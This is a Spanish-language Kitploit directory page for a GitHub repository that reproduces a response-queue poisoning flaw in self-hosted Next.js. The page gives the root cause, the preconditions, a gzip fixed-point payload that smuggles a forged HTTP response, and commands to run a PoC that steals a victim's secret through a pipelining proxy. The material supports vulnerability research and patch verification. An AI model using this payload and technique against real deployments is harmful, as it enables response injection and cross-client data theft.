Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/aheybati/cve-2026-119348
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebLabs y Práctica
GitHubaheybati/cve-2026-119348

CVE-2026-119348

Doble laboratorio Docker y PoC diferencial autónomo para CVE-2026-119348, una vulnerabilidad de envenenamiento de la cola de respuestas por tramas comprimidas obsoletas en Next.js autoalojado.

Ver Repositorio
2hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    994
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    656
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    422
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    389
  • 5

    SafeLine

    chaitin/safeline

    Proxy inverso y WAF autoalojado que filtra tráfico HTTP malicioso, bloquea inyecciones SQL, XSS y ataques de bots, con limitación de velocidad y cifrado dinámico de HTML/JS.

    333
  • 6

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    330

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-119348 — Envenenamiento de la cola de respuestas HTTP (framing comprimido obsoleto) en Next.js autoalojado

GHSA: GHSA-pc58-hwjq-p385 CVSS 4.0: 6.3 (Moderado) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N Producto: Vercel Next.js (next), autoalojado (next start)

Este repositorio contiene una reproducción completa y determinista (laboratorio docker + exploit independiente) de la vulnerabilidad de inyección y divulgación de respuestas entre clientes corregida en la versión de seguridad de Next.js de noviembre de 2026. No existía ningún PoC público en el momento en que se construyó este laboratorio (verificado el 2026-11-20: búsqueda de repositorios/código en GitHub para los ids de CVE y GHSA → 0 resultados).

Resumen de la vulnerabilidad

El fetch de Node (undici) descomprime de forma transparente un cuerpo con content-encoding: gzip pero conserva las cabeceras de respuesta originales, incluida content-length: <compressed-size>. Cuando una aplicación Next.js autoalojada devuelve una Response de upstream obtenida de este modo sin modificarla — desde un route handler del App Router, una entrada de la caché de fetch o un middleware del runtime de Node — las versiones vulnerables de Next reenvían el framing comprimido obsoleto al cliente mientras transmiten el cuerpo más largo y descomprimido:

HTTP/1.1 200 OK
content-encoding: gzip          ← forwarded
content-length: 70              ← framing of the COMPRESSED body (stale)
                                ← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
      └─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘

Node.js escribe bytes del cuerpo más allá del Content-Length declarado sin ningún error y mantiene la conexión keep-alive abierta. Cualquier proxy inverso HTTP/1.1 que encola solicitudes canalizadas en una conexión de backend compartida (la precondición indicada por el aviso — p. ej., HAProxy http-reuse always, diversos proxies basados en Node.js) demultiplexa las respuestas del backend estrictamente según el framing declarado. Los bytes de desbordamiento se analizan, por tanto, como la siguiente respuesta en la cola:

  • el cliente encolado justo detrás del atacante recibe la respuesta falsificada por el atacante (inyección de respuesta), y
  • la respuesta real de la víctima se desplaza una posición y se entrega a la siguiente solicitud del atacante (divulgación entre clientes).

Versiones afectadas

RamaVulnerableParcheada
16.x (LTS activa)>= 16.0.0, <= 16.4.416.4.5
15.x (LTS de mantenimiento)<= 15.5.2815.5.29

Causa raíz (archivo:línea)

En vercel/next.js en la etiqueta v16.4.4:

  • packages/next/src/server/send-response.ts:24-70 — sendResponse() añade todas las cabeceras del Response del manejador (solo se omite x-middleware-set-cookie) y luego canaliza el cuerpo decodificado. El content-length / content-encoding / transfer-encoding reenviados describen el cuerpo codificado que undici ya decodificó.
  • packages/next/src/server/next-server.ts:2009-2012 — el bucle de respuesta del middleware omite solo content-encoding, copiando aún el content-length / transfer-encoding obsoletos.
  • Como contraste, el sandbox del runtime Edge (packages/next/src/server/web/sandbox/sandbox.ts:23) ya eliminaba esas tres cabeceras — el fallo estaba en las rutas del runtime de Node.

Corrección (v16.4.5, commit 2842833, 15.x: 848ec29): ambas rutas de reenvío ahora descartan content-length, content-encoding y transfer-encoding (FORBIDDEN_HEADERS), de modo que Node.js estructura el cuerpo decodificado correctamente con transfer-encoding: chunked.

Precondiciones (todas requeridas, según el aviso)

  1. Next.js autoalojado (next start) — no afectado en la plataforma Vercel.
  2. La aplicación devuelve sin cambios un Response obtenido por fetch e influenciado por el atacante (cualquier patrón de reenvío/retransmisión: return fetch(url)), directamente o a través de la caché de fetch.
  3. Un proxy inverso HTTP/1.1 delante que encola solicitudes canalizadas en una conexión de backend compartida y confía en el framing declarado por el backend.
  4. El atacante controla la respuesta maliciosa del upstream y puede conseguir que ≥ 2 solicitudes se coloquen en la conexión de backend compartida (la suya + la de la víctima).

Sin autenticación, sin interacción del usuario.

Laboratorio / reproducción

lab/
├── app/                 # the victim Next.js app (source shared by both stacks)
│   └── app/
│       ├── proxy/route.ts          # GET /proxy?u=<url>        → return fetch(u, {cache:'no-store'})
│       ├── proxy-cached/route.ts   # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│       ├── api/secret/route.ts     # victim's private JSON (user alice + VICTIM_SECRET…)
│       └── page.tsx                # home page (HOME-PAGE-MARKER)
├── upstream/server.py   # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py   # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile      # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml     # project cvelab_cve-2026-119348_vuln  → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml    # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/              # node-level experiments backing the analysis

La carga útil maliciosa del upstream (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected" con n elegido de modo que n == len(gzip(P)) (un punto fijo, n = 70 aquí, decodificado = 116 B). Por lo tanto, la aplicación emite una respuesta cuyo Content-Length: 70 declarado cubre solo el prefijo A, y los 46 bytes finales son una respuesta HTTP falsificada completamente formada.

Ejecutarlo

# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh

# 2. run the exploit against both
python3 poc.py \
    --url         http://127.0.0.1:8080 \   # proxy → VULNERABLE app (16.4.4)
    --fixed-url   http://127.0.0.1:8081 \   # proxy → PATCHED app    (16.4.5)
    --upstream    http://127.0.0.1:9099 \   # attacker origin (host-mapped port of lab/upstream)
    --next-url    http://127.0.0.1:3000 \   # optional: direct app framing probe
    --next-fixed-url http://127.0.0.1:3001 \
    --out poc_result.json

# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.

# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy

poc.py es autónomo (Python 3, solo biblioteca estándar). Cada ronda encola tres solicitudes en la conexión de backend compartida:

#1 attacker  GET /proxy?u=…/gzip?delay=0.4     ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim    GET /api/secret  (Cookie: session=victim-alice-7f3a9c)
#3 attacker  GET /                                       ← collects the displaced response

Salida esperada

Descargar herramienta